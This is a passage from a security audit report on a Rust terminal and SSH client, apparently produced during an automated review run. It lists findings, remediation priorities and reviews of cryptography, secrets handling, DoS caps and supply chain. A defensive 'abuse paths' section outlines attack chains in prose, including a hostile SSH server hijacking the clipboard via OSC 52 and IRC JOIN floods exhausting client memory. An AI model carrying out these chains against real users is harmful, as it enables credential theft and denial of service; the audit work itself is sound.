rust/core/src/clients/irc.rs handle_join (inserts a Channel for any JOIN seen), handle_names; rust/app/src/irc_view.rs target() (new Target per unseen PRIVMSG/NOTICE source; MAX_LINES applies per target only).
Description
Line length (1 MiB) and LIST entries (2000) are capped, but the number of channels, users per channel and UI targets is driven entirely by server messages. A server can emit millions of :x!u@h JOIN #random-<n> or PRIVMSGs from unique nicks.
Evidence
let ch = st.channels.entry(fold(&room)).or_insert_with(|| Channel { ... }); // any JOIN
Attack Scenario
Position A: a malicious IRC network grows the client to gigabytes over hours.
Impact
Memory exhaustion of the client.
Recommendation
Only track channels the client itself joined (is_me(from)), cap users per channel (e.g. 10 000) and UI targets (e.g. 200 with LRU eviction).
Suggested Tests
Feed 100 000 JOINs for distinct rooms from other nicks; assert channels.len() stays 0.
References
CWE-770.
Finding ID: SEC-20261012-015
Title
Saved credentials written before authentication succeeds; store failure silent
Severity
Low
Confidence
Medium
Affected Files / Components
rust/core/src/sessions.rs Manager::secret_fn (lines 409-434), Secrets::set (let _ = self.set_checked(..)).
Description
In SecretMode::Saved, the value typed at the prompt is stored immediately (secrets.set) before the server accepts it, so a mistyped password is persisted and every later connection silently retries the wrong value with no re-prompt path (the saved value short-circuits the prompt). Secrets::set discards the error, so when the keychain refuses and the vault is locked the user is never told the credential was not saved.
Evidence
let v = prompt(&format!("Enter {kind}:"))?;
match mode { SecretMode::Saved => secrets.set(&key, &v), ... }
Impact
Lock-out loop until the user edits the profile; silent non-persistence.
Recommendation
Store after authenticate returns success (pass a confirm: FnOnce() back from the auth path), and on auth failure with a saved credential offer “Re-enter and replace”. Surface set_checked errors as a toast.
References
CWE-287 (design), CWE-390 (Detection of Error Condition Without Action).
Finding ID: SEC-20261012-016
Title
Empty vault accepts any master password
Severity
Low
Confidence
Medium
Affected Files / Components
rust/core/src/secrets.rs Vault::unlock (“An empty vault accepts any password, as in Go”).
Description
With no entries there is nothing to verify, so any password “unlocks” the vault; the first set then encrypts under a key derived from that (possibly mistyped) password. The next unlock with the intended password fails and the stored secret is unrecoverable, or worse, a second mistyped unlock leads to entries encrypted under different keys in one file.
Recommendation
Store a verifier at initialisation (e.g. an AES-GCM-sealed constant under a fixed key id such as __verifier__), check it on unlock. Backward compatible: vaults without it keep today's behaviour until re-initialised.
References
CWE-287, CWE-754.
Finding ID: SEC-20261012-017
Title
Multi-line paste sent without confirmation (paste-jacking)
Severity
Low
Confidence
High
Affected Files / Components
rust/app/src/terminal.rs TermView::paste, rust/app/src/sftp.rs paste_files.
Description
Pasted text (clipboard or dropped files) goes to the PTY unchanged except for CRLF→CR; in non-bracketed mode a \r executes each line immediately. Bracketed paste correctly strips ESC so the end marker cannot be forged. Browsers and web pages can place invisible text on the clipboard.
Recommendation
When the paste contains a newline and the terminal is not in bracketed-paste mode, show a confirmation preview (as Windows Terminal/iTerm2 do); make it a preference.
References
CWE-451.
Finding ID: SEC-20261012-018
Title
--answer passes secrets as process arguments
Severity
Low
Confidence
High
Affected Files / Components
rust/app/src/main.rs (--answer SECRET, --run-local CMD), rust/app/src/app.rs (Event::SecretPrompt auto-reply).
Description
The screenshot/test automation flags accept credentials on the command line, exposing them in the process list and shell history. The code and docs present them as a test aid.
Recommendation
Read answers from an environment variable or a file descriptor (--answer-file) and document that the flags are for automation only; print a warning when used outside --screenshot.
References
CWE-214.
Finding ID: SEC-20261012-019
Title
Supply chain: tag-pinned actions, no explicit CI token permissions, unsigned releases
Severity
Low
Confidence
Medium
Affected Files / Components
.github/workflows/ci.yml, .github/workflows/release-builds.yml (actions/checkout@v4, actions/upload-artifact@v4, softprops/action-gh-release@v2, permissions: contents: write), rust/packaging/macos/build-app.sh (ad-hoc codesign --sign -), rust/release.sh (manifest with sha256 but no signature). Not modified (outside rust/, except the packaging script which is correct as a dev convenience).
Description
Actions are pinned by mutable tag rather than commit SHA; ci.yml sets no permissions: block so the default token scope applies; release zips are not signed and macOS bundles are only ad-hoc signed; the updater cannot verify what it points users at. Positives: rust-toolchain.toml pins 1.99.0, builds use --locked, cargo audit is now known clean except SEC-012.
Recommendation
Pin actions to SHAs, add permissions: contents: read to ci.yml, add a cargo audit/cargo deny job, sign release artefacts (Sigstore/minisign) and publish the public key; Developer ID + notarisation for macOS.
References
CWE-494, CWE-829; SLSA Build L2/L3.
Finding ID: SEC-20261012-020
Title
Recording listing reads every .cast file fully
Severity
Low
Confidence
Medium
Affected Files / Components
rust/core/src/recording.rs Store::read_meta (reads the whole file and streams every JSON value to find the last timestamp).
Description
Opening the Recordings window reads all recordings (each up to 250 MiB) into memory to compute duration. With a few large recordings this is seconds of I/O and hundreds of MiB transiently. Local-only.
Recommendation
Parse the header from the first line, then seek to the tail (last 64 KiB) for the last event's timestamp; or cache metadata in SQLite when recording stops.
References
CWE-400.
Finding ID: SEC-20261012-021
Title
Insecure-by-choice modes
Severity
Informational
Confidence
High
Affected Files / Components
HostKeyPolicy::Insecure (sessions.rs host_key_check), direct VNC (chrome.rs Dialog::DirectVnc), Telnet/RAW.
Description
insecure accepts any host key (fingerprint changes are not even compared); direct VNC sends keystrokes and screen contents in clear (DES challenge-response only protects the password); Telnet/RAW are clear text. All are explicit user choices with warnings (VNC) or labelled options (SSH). TOTP uses HMAC-SHA-1 as RFC 6238 requires; VNC auth uses DES as RFB requires — both are protocol-mandated, not design errors.
Recommendation
Keep; consider a visible "insecure" badge on tabs using these modes and an audit-log entry when insecure host-key policy is used (an entry exists for connect, not for the policy).
Finding ID: SEC-20261012-022
Title
Verified-absent issue classes
Severity
Informational
Confidence
High
Description
Checked and not found:
- SQL injection — all queries use
?parameters (storage.rs); column lists are compile-time constants. - Path traversal — SFTP multi-download uses
safe_sftp_upload_name(base name, rejects./../NUL); recording IDs reject separators; SSH key names are[A-Za-z0-9_-]; imports use OS file dialogs. - TLS verification bypass — none; rustls with webpki roots (IRC) and ureq defaults (HTTP);
ServerNamefrom the configured host. - Authorization header leakage on redirect — ureq 3.4.2 defaults to
RedirectAuthHeaders::Never(verified in source). - Weak SSH algorithms — russh DEFAULT excludes SHA-1 kex/MAC and CBC; only
ssh-rsa(SHA-1 signature) remains as the last-resort host-key algorithm after rsa-sha2-512/256. - Hardcoded secrets — none; test fixtures (
vault.jsonwith a documented password,profiles.link) are deliberate compatibility data and contain no real credentials; git history (-S "PRIVATE KEY") shows only test strings. unsafe— only in test code (libc::openpty,set_varin the agent test) with safety comments.- ReDoS — user regexes go through the
regexcrate (linear time, 10 MiB compile limit). - Deserialisation bombs — serde_json default recursion limit (128); all inputs size-capped.
- GitHub base URL — HTTPS enforced except loopback; userinfo rejected (
validate_github_config). - Host-key verification coverage — every hop: target, each jump host, VNC/IRC tunnels (
tunnel()usesHostKeyPolicy::Ask). - Remote-forward channel policy — only
(bind, port)pairs the client registered are accepted; agent channels only when forwarding was requested.
8. Blackhat-Style Abuse Paths
- Hostile SSH host → clipboard → victim's other shell (open: SEC-010). Prerequisite: victim connects to attacker's host or a compromised one. Chain: server emits OSC 52 when it sees the victim select text (xterm mouse reporting tells it) → clipboard replaced → victim pastes into a privileged local shell. Breakpoints: preference/toast for remote clipboard writes; bracketed paste on the destination; paste confirmation (SEC-017).
- Stolen laptop/backup → credentials (largely closed).
nexus.dbgives hosts, users, proxy passwords and scripted passwords in clear (SEC-011);vault.jsonneeds the master password (Argon2id 128 MiB makes offline guessing ≈ 0.3 s per guess per core); keychain items need the OS session. Orphaned keychain entries from deleted profiles are no longer left behind (SEC-001). Breakpoints: full-disk encryption, moving proxy/login-script secrets to the store. - Local low-privilege malware (closed). Previously: harvest ssh-keygen passphrases from
ps(SEC-002), hijack the IRC/VNC loopback bridge (SEC-003), read 0644 recordings containing typed passwords (SEC-008). Remaining: read 0600 files as the same user (inherent),--answerargv (SEC-018). - Malicious VNC/IRC server → client crash (VNC closed, IRC open). VNC size/length bombs fixed (SEC-004); IRC state growth remains (SEC-014). A crash drops every open session, including recordings mid-write (the recorder
sync_alls per event, so data up to the crash survives). - Compromised update host (reduced). Could push a banner and link; link is now http(s)-only (SEC-005). Still unsigned (SEC-013/019). Breakpoint: manifest signature.
- MITM on first connection (TOFU) (accepted).
Askshows key type + SHA-256 fingerprint;accept-newauto-trusts. Breakpoints: SSHFP/known_hosts import, certificate CA trust (not supported; certificates are reduced to their public key).
9. Denial-of-Service and Resource Exhaustion Review
| Vector | Control | Status |
|---|---|---|
| VNC desktop size / ZRLE length | 64 Mpx / 64 MiB caps | Fixed (SEC-004) |
| VNC server strings / clipboard | 1 MiB / 16 MiB caps | OK |
| Telnet unterminated IAC | 8 KiB pending cap | OK |
| RAW history | 10 000 entries / 10 MiB | OK |
| IRC line / LIST | 1 MiB / 2000 | OK; channel/user/target maps unbounded (SEC-014) |
SSH run_command |
1 MiB cap | Fixed (SEC-009) |
| SSH forward connections | handles pruned; no connection-rate limit on bind address (defaults to loopback) | Fixed/partial |
| Login-script buffer | 16 KiB tail | OK |
| Terminal scrollback | ≤100 000 lines per view | OK |
| Trigger line buffer | 64 KiB without newline | OK |
| GitHub JSON / archive | 4 MiB / 2 GiB; 5000 repos; 5 commit-lookup workers; refresh ≥60 s | OK (rate-limit burn is a product concern) |
| Update manifest | 1 MiB, 10 s timeout | OK |
| Imports / key files / ssh config | 5–10 MiB caps; 5000 Host blocks | OK |
| Recording write / playback | 250 MiB / 100 MiB; listing reads whole files | Open (SEC-020) |
| Prompt timeouts | 300 s credential, 60 s host key | OK |
| Reconnect storms | exponential backoff 1–30 s, max tries (default 5) | OK |
| Threads | one per connect/close event/upload; unbounded only by user actions | Acceptable |
| Keychain probe | one write+delete per launch | Acceptable |
10. Cryptography and Key Management Review
- Vault / export: Argon2id (m=128 MiB, t=3, p=4, 32-byte key, 32-byte CSPRNG salt) → AES-256-GCM with a fresh 96-bit CSPRNG nonce per seal; each secret individually sealed. Random nonces are safe here because the message count per key is tiny (≪2^32). Decryption failure is treated as “wrong password or corrupt” with no oracle beyond that. Keys now zeroized. Clean.
- Randomness:
rand::thread_rng()/OsRng(ChaCha-based CSPRNG seeded from the OS) for salts/nonces/UUIDs;OsRngfor key generation. NoMath.random-class sources. Clean. - SSH: russh 0.64.1 defaults — kex
mlkem768x25519-sha256(hybrid post-quantum, FIPS 203 ML-KEM + X25519) first, then curve25519, DH-GEX-SHA256, DH group 14–18; ciphers chacha20-poly1305, aes256-gcm, aes*-ctr; MACs SHA-2 ETM/plain only; host keys ed25519, ecdsa, rsa-sha2-512/256,ssh-rsalast. Strict-kex extension advertised. Host-key verification per hop with SHA-256 fingerprints;Insecurepolicy is opt-in. Harvest-now-decrypt-later exposure for SSH is therefore already mitigated when the server supports the hybrid kex (OpenSSH ≥ 9.9); against older servers it falls back classically — unavoidable interop, accepted residual. - TLS: IRC via rustls 0.23 (
with_safe_default_protocol_versions= TLS 1.2/1.3, webpki roots, hostname verification); HTTP via ureq 3 + rustls. Nodanger/insecure verifiers anywhere. Hybrid PQ TLS (X25519MLKEM768) is available in rustls when theaws-lc-rsprovider is used; theringprovider in use does not negotiate it — optional improvement for the IRC/HTTPS paths, interop-safe because it is negotiated. - TOTP: RFC 6238 HMAC-SHA1, 6 digits, 30 s — protocol-mandated; verified against RFC vectors in tests. Secrets stored in keychain/vault, not the DB (unless imported inline).
- VNC auth: DES challenge-response — protocol-mandated; app warns about direct VNC.
- Password strength meter: heuristic UI only; the vault's security rests on Argon2id cost.
- Key management: no hardcoded keys; vault key lives only while unlocked; export salt/nonce per file; SSH keys written 0600 in-process. No rotation story for the vault master password (no re-encrypt flow) — functionality note.
- Comparisons: AES-GCM tag verification is constant-time in
aes-gcm; VNC/TOTP do not compare secrets locally; known-host fingerprints are compared with!=on public data (fine). - Post-quantum readiness: SSH hybrid kex present; vault/export are symmetric (AES-256, quantum-safe at 128-bit Grover margin); no long-lived signatures are produced by the app. Recommendation: enable aws-lc-rs for TLS hybrid kex when convenient; sign releases with Ed25519 now and plan ML-DSA when tooling matures.
11. Secrets Lifecycle and In-Memory Credential Review
| Stage | Observed | Assessment |
|---|---|---|
| Entry | egui password fields; --answer argv (SEC-018) |
UI buffers not wiped (SEC-007) |
| Storage | Keychain first (keyring 3.6, D-Bus/Keychain/CredMan), vault fallback (AES-GCM blobs 0600, atomic now), legacy AlchementaryLink read-through copied forward |
Good; keychain items keyed by profile id |
| In profiles/DB | proxyPassword, inline totpSecret, login-script sends in clear in nexus.db (SEC-011) |
Open |
| Exports | .nexus AES-GCM; JSON export redacts proxy/TOTP only, now 0600 |
Gap for login scripts |
| Recordings | typed input captured in clear, now 0600 inside 0700 dir | Document to users |
| Process boundaries | ssh-keygen argv removed (SEC-002); child shell inherits full environment (expected for a terminal); keychain via D-Bus (Secret Service encrypts in transit) |
OK |
| In memory | Argon2 keys Zeroizing; secret Strings unwiped; SessionOnly cache holds plaintext for the session; no mlock/DONTDUMP; core dumps follow system defaults |
Low, open |
| Logs | eprintln! only for CLI misuse and non-web URL refusal (URL text could include a token if a server embeds one — acceptable, local stderr); audit log stores actions and names, never values |
OK |
| Deletion | profile delete now purges keychain + vault; TOTP delete removes both | Fixed |
| Debug endpoints | none (no HTTP server, no pprof) | Clean |
12. Memory and Resource Safety Review
unsafe: two occurrences, both in#[cfg(test)]code (libc::openpty/from_raw_fdfor the serial PTY harness;std::env::set_varin the agent test) with SAFETY notes. No FFI in production code beyond vetted crates (serialport,portable-pty,rusqlitebundled SQLite,ring).- Parsers: Telnet (
handle_iacbounds-checks every index), VNC (fb.checkbefore everyput/fill; hextile sub-rects validated; ZRLE palette indices checked; Tight palette/size validated; sizes now bounded), IRC (find-derived byte offsets, char-safe), asciicast (line caps), SOCKS5/HTTP CONNECT replies (fixed-size reads; 16 KiB head cap), SSH config (line and block caps). Integer arithmetic onu16dims is widened tousizebefore multiplication; thex + wadditions in hextile/ZRLE loops operate onu16afterfb.checkguaranteesx+w ≤ width ≤ 65535, so no overflow. - Panics reachable from remote data: none found;
unwrap()on mutexes would only panic after a prior panic (poisoning) — see functionality report. - Resource growth: see §9; IRC maps remain the one unbounded structure.
13. Dependency and Supply-Chain Review
cargo audit0.22.2 (RustSec DB 1296 advisories, 598 crates): 1 advisory — RUSTSEC-2023-0071 (rsa, via russh, no fix) — SEC-012. No yanked crates reported.- Security-relevant crates and versions: russh 0.64.1, russh-sftp 3.0.1, ssh-key 0.7.0-rc.11 (release candidate — pinned exactly by russh; watch for the stable release), rustls 0.23.45, ring 0.17.14, webpki-roots 1, ureq 3.4.2, aes-gcm 0.10.3 (0.11 also present transitively), argon2 0.5.3, keyring 3.6.3, rusqlite 0.37 (bundled SQLite), tokio 1.53.2, serialport 4.10.1, portable-pty 0.9, image 0.25.10 (JPEG decoding of VNC Tight data — a decoder bug would be remotely reachable; keep current), flate2 1.1.10, des 0.9 (VNC auth only), zeroize 1.9.1 (now direct).
- Pinning:
rust-toolchain.toml= 1.99.0; CI and release use--locked;Cargo.lockcommitted. Good. - Build scripts:
app/build.rsonly embeds the Windows icon (no network, no codegen). - CI (outside
rust/): actions pinned by tag;ci.ymllackspermissions:; release workflow hascontents: write(needed). No secrets referenced beyondGITHUB_TOKEN. - Releases: zips + sha256 in manifest; unsigned; macOS ad-hoc signature; Windows unsigned. The app never downloads updates, which limits the blast radius of a compromised host to UI text and a link.
- Recommendation: add
cargo audit/cargo denyto CI (ignore list with justification), SHA-pin actions, sign artefacts, considercargo vetfor the crypto/SSH crates.
14. Authentication and Authorisation Review
Single-user desktop app; no server-side authz. Reviewed instead:
- SSH auth chain: agent identities (RSA hash negotiated via
best_supported_rsa_hash), configured key (passphrase prompted only if encrypted), password, keyboard-interactive with TOTP auto-answer on prompts matching 2FA keywords; non-TOTP prompts get the password callback (consistent with password auth; no extra exposure). Jump hosts: public key/agent only. Tunnels: method per profile. - Host keys: policies
strict/ask/accept-new/insecure; changed keys rejected with the stored vs received fingerprints in the error for all butinsecure; certificates are treated as plain keys (no CA trust — note for §6 of the functionality report). - VNC: None or VNC-auth; Apple ARD unsupported with a clear message; password asked only when the server requires it.
- IRC: PASS and NickServ IDENTIFY (plaintext over the connection unless TLS/SSH tunnel); SASL not implemented.
- GitHub: Bearer token; validated with
/userbefore use; re-prompt on 401/403; token never logged. - Vault: master password → Argon2id; lock/unlock UI; app
lock()s on exit. - Local: known-hosts and profiles are per-user files; no privilege separation needed.
15. Input Validation and Output Encoding Review
- Profiles:
validation.rscovers hosts (no whitespace/scheme/leading-), ports, usernames (no control chars), per-protocol configs, IRC nick/channel grammar, GitHub URL scheme/userinfo, serial line settings. Applied on create/update/import; not on Quick Connect (connect_quick) orimport_ssh_config(profiles stored unvalidated — low risk, SSH only). - Hostnames flow to
ToSocketAddrs, SOCKS5 (now ≤255 bytes), HTTP CONNECT (Host:header built from a validated host; CRLF impossible after whitespace rejection), SSHdirect-tcpiprequests. - Terminal output:
alacritty_terminalhandles escape sequences; OSC 52 write is the only sink that acts outside the grid (SEC-010); title changes only update the tab name. - IRC text:
strip_terminal_escapesremoves OSC/CSI/C1 before mIRC parsing; rendered via egui text (no markup injection possible). - RAW view: non-printables rendered as
·; hex dump pure ASCII. - File names from SFTP listings: used for remote ops verbatim (correct), sanitised for local writes.
- JSON: unknown fields ignored by serde; enums reject unknown values except
SecretModewhich maps to ask-every-time (safe default). Note: an unknownhostKeyPolicystring makes the wholessh_configcolumn parse toNoneand the profile silently falls back to defaults (ask) — safe direction, but surprising.
16. Frontend HTML/JavaScript Robustness Review
Not applicable: the UI is native egui/eframe (no HTML, JavaScript, WebView or localStorage). Equivalent checks performed: every worker thread reports errors through post_error/Job/inbox queues drained on the UI thread (no silent async failures found); modals consume keyboard shortcuts while open; open_url is the only browser interaction and is now scheme-restricted; the clipboard is written by user actions, OSC 52 and VNC (SEC-010). Console diagnostics are eprintln! for CLI misuse and refused URLs only; no secrets are printed.
17. Infrastructure and Deployment Review
- No containers, servers or IaC. Data directory
~/.config/NexusTerminal(0700) /%APPDATA%/~/Library/Application Support; legacy data copied (never moved) fromAlchementaryLinkwith a marker file. - Linux install script installs to
~/.local/bin(user scope, 0755 binary). macOS bundle ad-hoc signed;Info.plisttemplated. Windows: icon/version resource only. - Release script builds with
--locked, strips Linux binaries, writes per-platform manifests with sha256 and size; URLs default tohttps://dixon.cx/downloads/nexus. - The update host is a single static origin without signing (SEC-013/019).
18. Logging, Monitoring, and Error Handling Review
- Audit log (SQLite): profile create/update/delete, connect/disconnect, secret access (kind only), import/export — no values. Good for forensics; no size cap or rotation (grows unbounded over years; low concern).
- Errors:
Box<dyn Error>strings surfaced as toasts; SSH failures classified for guided dialogs; host-key mismatch message includes both fingerprints (useful, not sensitive). - No crash reporter/telemetry; panics print to stderr and abort the process (no panic hook) — a panic in any worker thread while holding a
Mutexpoisons it andlock().unwrap()then panics the UI thread. See functionality report. - stderr:
--connect/--open/--domisuse, screenshot errors, refused URLs. No secrets.
19. Test Coverage and Security Regression Gaps
Present (142 tests after this run): vault/export compatibility fixtures, Argon2/AES round trips, atomic private writes, profile-delete purge, validation matrix, SSH config parsing caps, Telnet negotiation over a real socket, RAW history caps, serial PTY harness, IRC fake server (registration, tracking, close semantics), VNC fake server (auth, decoders, bounds), GitHub fake API (pagination, auth errors, archive cap), updater local HTTP (oversize cap), session manager (local shell, reconnect backoff, error state), OpenSSH integration (shell, exec, forwards, SFTP, jump chain, agent forwarding, host-key rejection), key generation, loopback pair, SOCKS5 encoding, URL scheme guard, terminal key encoding/find/mouse reports, triggers, raw/IRC views.
Gaps:
- No fuzzing of
vnc::read_update,telnet::process,irc::parse_line/ircformat,recording::get— recommendcargo-fuzztargets. - No test that OSC 52 / VNC clipboard behaviour is gated (SEC-010, once implemented).
- No test that JSON export without secrets omits login-script passwords (SEC-011).
- No test for the IRC state caps (SEC-014) or the saved-credential-after-auth ordering (SEC-015).
- Keychain-backed paths (
Keychain::get/set/delete, legacy copy-forward) untested in CI (needs a Secret Service/Keychain). cargo auditnot in CI.
20. Prioritised Remediation Plan
Immediate (done in this run): SEC-001, 002, 003, 004, 005, 006, 008, 009 and the key-zeroization half of SEC-007 — commits 9cf2217, 0a18f7e, aac986d.
Short term (next release)
- SEC-010: preference + toast for remote clipboard writes (terminal and VNC).
- SEC-013: update-check preference; align docs; sign the manifest.
- SEC-015: persist saved credentials only after successful auth; surface store errors.
- SEC-014: track only joined channels; cap users/targets.
- SEC-019: SHA-pin actions,
permissions: contents: readinci.yml,cargo auditjob (outsiderust/).
Medium term
- SEC-011: move
proxyPasswordto the secret store; redact login-script sends in exports; warn in the editor. - SEC-007:
Zeroizing<String>/SecretStringfor in-flight secrets; wipe prompt buffers;PR_SET_DUMPABLE. - SEC-016: vault verifier entry.
- SEC-017: multi-line paste confirmation.
- SEC-020: tail-based recording metadata.
- Fuzz targets for the four remote parsers.
Long term
- Signed, verified updates (and optionally in-app download with sha256 + signature check).
- SSH certificate/CA trust and
~/.ssh/known_hostsimport. - aws-lc-rs provider for hybrid PQ TLS;
cargo vetfor crypto/SSH crates.
21. False Positives / Needs Manual Verification
- Stale build cache: the initial
cargo testshowed 4 fixture-test failures caused by atarget/directory compiled when the checkout lived at~/src/link(theenv!("CARGO_MANIFEST_DIR")path was baked in).cargo clean -p nexus-coreresolved it; not a code defect. Owners moving the checkout should runcargo clean. - Keychain purge (SEC-001): the vault half is covered by a test; the keychain half was verified by reading
Keychain::deletebut not executed against a live Secret Service in this environment — verify once per OS. - SEC-003 race: the hijack window is tiny; the fix is defence-in-depth. The accepting test exercises the peer check, not a real race.
- SEC-012: exploitability of Marvin against an interactive SSH client is theoretical; no action beyond tracking.
- IRC/VNC clipboard (SEC-010) is a judgement call versus compatibility; rated Medium because of the paste-into-shell consequence, Low if the owner considers terminal-standard behaviour acceptable.
- egui
persistencestores window layout only (persist_egui_memory), verified not to include text-edit contents.
22. Final Notes
The Rust port carries over the Go app's data formats faithfully and improves on several of its controls (per-hop host-key checks, bounded parsers, keychain-first storage). After this run the remaining risk is concentrated in (1) user-facing conveniences that mirror terminal-industry defaults (remote clipboard writes, unconfirmed paste), (2) plaintext fields the profile model inherited for compatibility, (3) an unsigned update channel, and (4) one upstream advisory without a fix. None of the open items allows remote compromise without a hostile server plus user interaction or a local foothold.
Limitations: no live testing against production servers; keychain code paths exercised by reading only; UI behaviour verified by code review and the existing screenshot automation rather than a scripted UI run; files outside rust/ reviewed but intentionally not modified per the owner's instruction.
Commits created: 9cf2217, 0a18f7e, aac986d (all on rust-port, each after cargo test --workspace, cargo fmt --check and cargo clippy --all-targets -D warnings passed).